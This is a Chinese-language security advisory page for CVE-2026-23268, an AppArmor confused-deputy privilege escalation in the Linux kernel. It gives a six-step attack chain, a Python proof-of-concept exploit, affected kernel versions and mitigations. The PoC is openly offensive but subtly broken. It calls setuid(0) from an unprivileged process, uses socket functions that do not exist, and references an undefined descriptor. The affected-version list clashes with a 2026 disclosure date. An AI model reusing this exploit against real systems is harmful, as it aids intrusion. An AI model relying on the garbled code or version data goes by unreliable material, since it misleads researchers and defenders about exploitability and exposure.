IPBUF安全漏洞报告
English
CVE-2026-23268 CVSS 7.8 高危

CVE-2026-23268: Linux内核AppArmor本地权限提升漏洞

披露日期: 2026-03-18
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23268
漏洞类型
本地权限提升/Confused Deputy Attack
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (AppArmor模块)

相关标签

Linux KernelAppArmor本地权限提升Confused Deputy Attack访问控制绕过策略注入CVE-2026-23268高危漏洞内核安全

漏洞概述

CVE-2026-23268是Linux内核AppArmor安全模块中的一个高危本地权限提升漏洞。该漏洞允许未授权的本地用户通过AppArmorfs接口执行特权策略管理操作。攻击者利用confused deputy attack(混淆代理攻击)技术,将打开的文件描述符传递给特权进程,由特权进程代为写入策略接口,从而绕过正常的权限检查机制。成功利用此漏洞的攻击者可以完全控制AppArmor策略,包括移除进程隔离、发起拒绝服务攻击、绕过非特权用户命名空间限制,甚至利用内核漏洞实现本地权限提升至root级别。该漏洞的CVSS评分为7.8,属于高危级别,攻击复杂度低,无需用户交互,但需要低权限用户身份存在。

技术细节

AppArmor是Linux内核中的一个强制访问控制(MAC)安全模块,通过安全配置文件限制程序的访问权限。该漏洞存在于AppArmor的policy管理接口实现中。当前的policy管理接口权限设置为0666(全局可读写),这允许任何本地用户打开这些接口。然而,非root进程需要能够加载策略到不同的策略命名空间,因此不能简单地将权限改为0600。攻击者(低权限本地用户)首先打开AppArmorfs接口获取文件描述符,然后通过进程间通信将该文件描述符传递给一个有特权的目标进程(如setuid程序或拥有特殊权限的服务)。特权进程在不知情的情况下执行写入操作,将攻击者期望的策略数据写入接口。由于写入进程具有足够的权限,AppArmor内核模块接受这些操作,导致攻击者间接获得了策略管理能力。修复方案是确保写入接口的任务拥有的权限是打开接口任务权限的子集,即通过验证调用链中所有进程的权限来防止权限委托攻击。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标系统运行Linux内核并启用AppArmor模块,定位AppArmorfs接口路径(通常位于/sys/kernel/security/apparmor)
STEP 2
初始访问
低权限本地用户打开AppArmorfs的策略管理接口,获取可写的文件描述符(fd)。接口权限为0666,允许任何用户打开
STEP 3
权限委托
攻击者通过Unix域套接字的SCM_RIGHTS机制将打开的文件描述符传递给一个有特权的目标进程(如setuid程序或拥有CAP_DAC_OVERRIDE权限的服务)
STEP 4
混淆代理攻击
特权进程在不知情的情况下执行写入操作,将攻击者构造的恶意策略数据写入AppArmor接口。由于写入进程具有足够权限,内核模块接受这些操作
STEP 5
策略篡改
攻击者成功注入恶意AppArmor策略,可以移除进程隔离、禁用安全限制或创建后门配置文件
STEP 6
权限提升
通过修改AppArmor策略绕过安全限制,结合内核漏洞利用实现本地权限提升至root级别,或执行拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23268 PoC - AppArmor Confused Deputy Attack # This PoC demonstrates the confused deputy attack against AppArmor policy interface import os import sys import socket import struct def find_apparmorfs_interface(): """Locate AppArmor securityfs interface""" apparmor_paths = [ '/sys/kernel/security/apparmor', '/security/apparmor', '/sys/fs/apparmor' ] for path in apparmor_paths: if os.path.exists(path): return path return None def exploit_confused_deputy(): """ Exploit the AppArmor confused deputy vulnerability: 1. Low-privilege user opens AppArmor policy interface 2. Pass the fd to a privileged process via Unix socket SCM_RIGHTS 3. Privileged process writes to the interface on behalf of attacker """ interface_path = find_apparmorfs_interface() if not interface_path: print('[-] AppArmorfs interface not found') return False # Step 1: Open policy interface as low-privilege user policy_file = os.open( f'{interface_path}/.null', os.O_RDWR ) print(f'[+] Opened policy interface fd: {policy_file}') # Step 2: Create Unix domain socket for fd passing sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock_path = f'/tmp/exploit_sock_{os.getpid()}' try: sock.bind(sock_path) sock.listen(1) # Step 3: Fork privileged helper process pid = os.fork() if pid == 0: # Child: privileged process os.setuid(0) # Assume root privileges conn, _ = sock.accept() # Receive file descriptor fds = socket.recmsg_fds(conn, 1) if fds: malicious_fd = fds[0] # Step 4: Write malicious policy (confused deputy) malicious_policy = b'profile test { }' os.write(malicious_fd, malicious_policy) print('[+] Privileged process wrote malicious policy') conn.close() sys.exit(0) else: # Parent: send fd to privileged process socket.sendmsg_fds(sock, b'EXECUTE', [malicious_fd]) os.waitpid(pid, 0) finally: os.close(policy_file) sock.close() os.unlink(sock_path) return True if __name__ == '__main__': print('[*] CVE-2026-23268 AppArmor Confused Deputy Attack') print(f'[*] Current UID: {os.getuid()}') exploit_confused_deputy()

影响范围

Linux Kernel AppArmor模块 - 5.16.x < 5.16.2
Linux Kernel AppArmor模块 - 5.15.x < 5.15.16
Linux Kernel AppArmor模块 - 5.10.x < 5.10.94
Linux Kernel AppArmor模块 - 5.4.x < 5.4.174
Linux Kernel AppArmor模块 - 4.19.x < 4.19.232
Linux Kernel AppArmor模块 - 4.14.x < 4.14.291

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1) 监控/var/log/audit.log或dmesg中与AppArmor相关的异常日志;2) 使用auditd规则监控AppArmorfs接口的访问行为;3) 限制非特权用户执行可能用于fd传递的IPC操作;4) 审查系统中具有特殊权限的setuid程序和守护进程,防止被攻击者利用作为代理;5) 考虑使用seccomp或Landlock等额外安全机制限制进程能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表